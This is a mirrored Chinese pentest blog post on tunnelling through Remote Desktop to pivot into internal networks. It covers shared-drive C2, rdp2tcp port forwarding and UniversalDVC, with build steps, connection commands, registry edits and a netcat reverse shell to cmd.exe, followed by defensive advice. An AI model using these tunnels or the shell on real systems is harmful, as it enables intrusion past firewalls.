7

渗透技巧——使用远程桌面协议建立通道

 4 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BD%BF%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E5%8D%8F%E8%AE%AE%E5%BB%BA%E7%AB%8B%E9%80%9A%E9%81%93/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


最近从@cpl3h的博客中学到了使用远程桌面协议建立通道的方法。

本文将对这个方法进行整理,结合自己的经验,添加个人理解。

学习地址:

https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/

0x01 简介


本文将要介绍以下内容:

  • 使用共享文件建立通道
  • 使用rdp2tcp建立通道
  • 使用UniversalDVC建立通道

0x02 使用场景


由于防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何以这台Windows服务器为跳板进入内网

简要描述如下图

Alt text

0x03 使用共享文件建立通道


通过读写RDP Client和RDP Server之间共享的文件作为数据传输的通道

https://github.com/outflanknl/external_c2

这是根据Cobalt Strike中External C2规范编写的POC

实现原理:

建立远程桌面连接时,RDP Client和RDP Server之间可以创建共享文件夹,通过读写共享文件作为数据传输的通道

1.Windows系统连接远程桌面并开启文件共享

(1)通过配置mstsc.exe开启文件共享

Alt text

(2)使用FreeRDP开启文件共享

下载地址:

https://cloudbase.it/freerdp-for-windows-nightly-builds/

命令实例:

wfreerdp /v:192.168.112.129:3389 -u:1 -p:Test123! /cert-ignore /drive:share1,c:\

2.Kali系统连接远程桌面并开启文件共享

(1)使用xfreerdp开启文件共享

将本地文件夹/tmp共享的命令如下:

xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /drive:share1,/tmp

(2)使用rdesktop开启文件共享

将本地文件夹/tmp共享的命令如下:

rdesktop 192.168.112.129 -u1 -pTest123! -r disk:share1=/tmp

在RDP Server上,可通过\\tsclient\访问共享的文件资源

通过文件读写来传输数据的具体细节可参考xpn的文章:

https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/

0x04 使用rdp2tcp建立通道


rdp2tcp使用RDP虚拟通道功能来复用端口

可用的功能:

  • 正向TCP端口转发
  • 反向TCP端口转发
  • 处理标准输入/输出转发
  • SOCKS5代理

https://github.com/V-E-O/rdp2tcp

测试系统: Kali2 x64

1.下载并编译rdp2tcp

(1)安装mingw-w64

命令如下:

apt-get install mingw-w64

(2)下载rdp2tcp

git clone https://github.com/V-E-O/rdp2tcp.git
cd rdp2tcp

(3)修改配置文件

rdp2tcp默认不支持编译64位的exe,所以这里需要修改配置文件,增加编译64位exe的配置信息

修改文件Makefile,新的内容如下:

all: client server-mingw64

client: client/rdp2tcp
client/rdp2tcp:
	make -C client

#server-mingw32: server/rdp2tcp.exe
#server/rdp2tcp.exe:
#	make -C server -f Makefile.mingw32

server-mingw64: server/rdp2tcp64.exe
server/rdp2tcp64.exe:
	make -C server -f Makefile.mingw64

clean:
	make -C client clean
#	make -C server -f Makefile.mingw32 clean
	make -C server -f Makefile.mingw64 clean
	make -C tools clean

注:

因为我们使用了64位的操作系统,并且安装了64位的mingw,所以这里设置为生成64位的exe

新建文件/server/Makefile.mingw64,内容如下:

BIN=rdp2tcp64.exe
CC=i686-w64-mingw32-gcc
CFLAGS=-Wall -g \
		 -D_WIN32_WINNT=0x0501 \
		 -I../common

# -D_WIN32_WINNT=0x0501
# -D_WIN32_WINNT=0x0501 -DDEBUG

LDFLAGS=-lwtsapi32 -lws2_32
OBJS=	../common/iobuf.o \
	../common/print.o \
	../common/msgparser.o \
	../common/nethelper.o \
	../common/netaddr.o \
	errors.o aio.o events.o \
	tunnel.o channel.o process.o commands.o main.o

all: clean_common $(BIN)

clean_common:
	$(MAKE) -C ../common clean

$(BIN): $(OBJS)
	$(CC) -o $@ $(OBJS) $(LDFLAGS) 

%.o: %.c
	$(CC) $(CFLAGS) -o $@ -c $<

clean:
	rm -f $(OBJS) $(BIN)

(4)编译

命令如下:

make

生成以下文件:

  • /server/rdp2tcp64.exe
  • /client/rdp2tcp

2.安装xfreerdp

Kali系统默认安装的xfreerdp不支持TCP重定向的功能

Alt text

如果支持TCP重定向的功能,程序回显的内容如下

Alt text

需要重新下载编译xfreerdp,这里我使用的版本是freerdp-nightly

参考链接:

https://ci.freerdp.com/job/freerdp-nightly-binaries/

这里我使用的发行版为bionic,完整的安装命令如下:

echo "deb http://pub.freerdp.com/repositories/deb/bionic/ freerdp-nightly main " >>/etc/apt/sources.list
wget -O - http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add -
apt-get update
apt-get install freerdp-nightly

对应的安装路径为/opt/freerdp-nightly

启动新版的xfreerdp,对应的路径为: /opt/freerdp-nightly/bin/xfreerdp

新版的xfreerdp支持TCP重定向,如下图

Alt text

3.使用xfreerdp连接远程桌面并建立通道

这里介绍正向TCP端口转发的方法

(1)执行xfreerdp并开启TCP重定向功能

Kali系统上执行:

/opt/freerdp-nightly/bin/xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp

(2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限)

执行结果如下图

Alt text

(3)在Kali系统上启动rdp2tcp.py

命令如下:

cd rdp2tcp/tools
python rdp2tcp.py

添加正向端口转发(本地445->192.168.112.129:445)的命令如下:

python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445

输出结果如下图

Alt text

(4)访问本地445端口

访问本地445端口的数据被转发至192.168.112.129的445端口,如下图

Alt text

正向端口转发建立成功

0x05 使用UniversalDVC建立通道


UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道

https://github.com/earthquake/UniversalDVC

测试系统: Win7 x64

1.安装UDVC插件

下载编译好的64位文件,地址如下:

https://github.com/earthquake/UniversalDVC/files/1880297/UDVC-x64.zip

将其中64位的dll保存在%windir%\system32

注册dll的命令如下:

regsvr32.exe UDVC-Plugin.x64.dll
Alt text

UDVC插件注册后将创建注册表项用来保存配置信息

配置文件的位置:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin

默认监听的端口为31337

注:

在RDP Server启动UDVC-Server.exe后,UDVC插件才会开启监听端口

2.实现端口转发的功能

(1)将Mode设置为Socket server mode (0 - default)

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 0 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:

mstsc.exe

连接远程桌面

(4)RDP Server启动UDVC-Server.exe

命令如下:

UDVC-Server.x64.exe -c -p 80 -i 192.168.112.129 -0

(5)RDP Client打开浏览器并访问http://127.0.0.1:1234

获得内网192.168.112.129:80的数据

通道建立完成,简要流程图如下图

Alt text

3.实现反弹shell的功能

RDP Server反弹一个shell至RDP Client

RDP Client能够实时控制RDP Server,执行cmd命令

(1)将Mode设置为Socket client mode (1)

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 1 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:

mstsc.exe

连接远程桌面

(4)RDP Client使用nc监听本地端口1234

命令如下:

nc64.exe -lvp 1234

(5)RDP Server启动UDVC-Server.exe

命令如下:

UDVC-Server.x64.exe -p 5678 -0

此时将建立一条动态虚拟通道:RDP Server->RDP Client:1234

并且RDP Server开启监听端口5678

(6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe

命令如下:

nc64.exe 127.0.0.1 5678 -e c:\windows\system32\cmd.exe

通道建立完成,简要流程图如下图

Alt text

0x06 利用分析


对于这三种建立通道的方法(共享文件、rdp2tcp和UniversalDVC),利用前提是已经获得了连接远程桌面的权限

严格地说,利用这台远程桌面服务器,就已经能够对内网资源进行访问

研究这种方法的意义在于某些情况下远程桌面服务器无法运行我们的程序

例如远程桌面服务器为Windows系统,而我们想执行的程序只支持Linux,这就避免了考虑程序移植的问题

0x07 防御建议


1.外网远程桌面服务器的安全

如果攻击者能够使用远程桌面协议建立通道,代表攻击者已经获得了这台服务器的权限,所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要注意防范口令爆破

2.使用组策略禁用重定向的设备

组策略位置:

Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services->Remote Desktop Session Host->Device and Resource Redirection

0x08 小结


本文参考@cpl3h的文章,对使用远程桌面协议建立通道的方法进行整理,结合自己的经验,添加个人理解,分析利用思路,总结防御建议。


LEAVE A REPLY


Recommend

  • 48

    背景介绍 ·2016年6月,卡巴斯基实验室研究人员揭露,黑客利用远程桌面协议(RDP)窃取85,000台来自医院、学校、航空公司和政府机构的服务器,还公开在地下黑市贩卖; · 2017年4月,黑客利用RDP终端与俄罗斯银行的...

  • 6

    Windows Server RD 网关实现原理: 1、远程桌面服务RDS与远程桌面网关RDGW简介 1.1 远程桌面服务介绍 远程桌面服务(Remote Desktop Services)最早是在Windows NT Server4.0中引入并且开始正式使用,在Windows Ser...

  • 13

    渗透技巧——从远程桌面客户端提取明文凭据 0x00 前言 在之前的文章

  • 8

    渗透技巧——通过HTTP协议获得Net-NTLM hash 0x00 前言 在之前的文章

  • 18

    0x00 前言 对于Windows系统,经常会用到远程桌面服务,通过界面对系统进行远程管理。 这其中存在一个不足:使用远程桌面服务进行远程登录(使用另一用户或是踢掉当前用户),无法获取到当前用户的系统状态。 如果想要查看(甚至是...

  • 14

    0x00 前言 在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。 前几天有一篇文章介绍了如何清除记录,那么这篇文章就来介绍一下如何导出历史记录。 清除记录的文章地址如下: http...

  • 11

    渗透技巧——利用tscon实现未授权登录远程桌面 0x00 前言 Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。...

  • 12

    0x00 前言 在渗透测试中,经常会接触Windows服务器的远程桌面服务,通过界面对服务器进行管理。而对于普通的Windows系统,在某些条件下也需要进行界面操作。 虽然我们可以通过编写程序来实现界面操作(捕获桌面信息,压缩传输,发送鼠标...

  • 9

    在 Windows 下建立远程桌面连接 谢益辉 / 2007-08-08 网络最大的好处在于省去了很多跑腿的时间,而不在于有 QQ 可以聊天。Windows 的远程桌面连接也算是节省跑腿功夫的一种办法,它可以通过网络让我们从自己的计算机连接到远程计算...

  • 5

    渗透技巧——远程访问Exchange Powershell 07 Oct 2022 0x00 前言 Exchange Powershell基于PowerShell Remoting,通常需要在域内主机上访问Exchange Server的80端口,限制较多。本文介绍一种不依赖域内主机...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK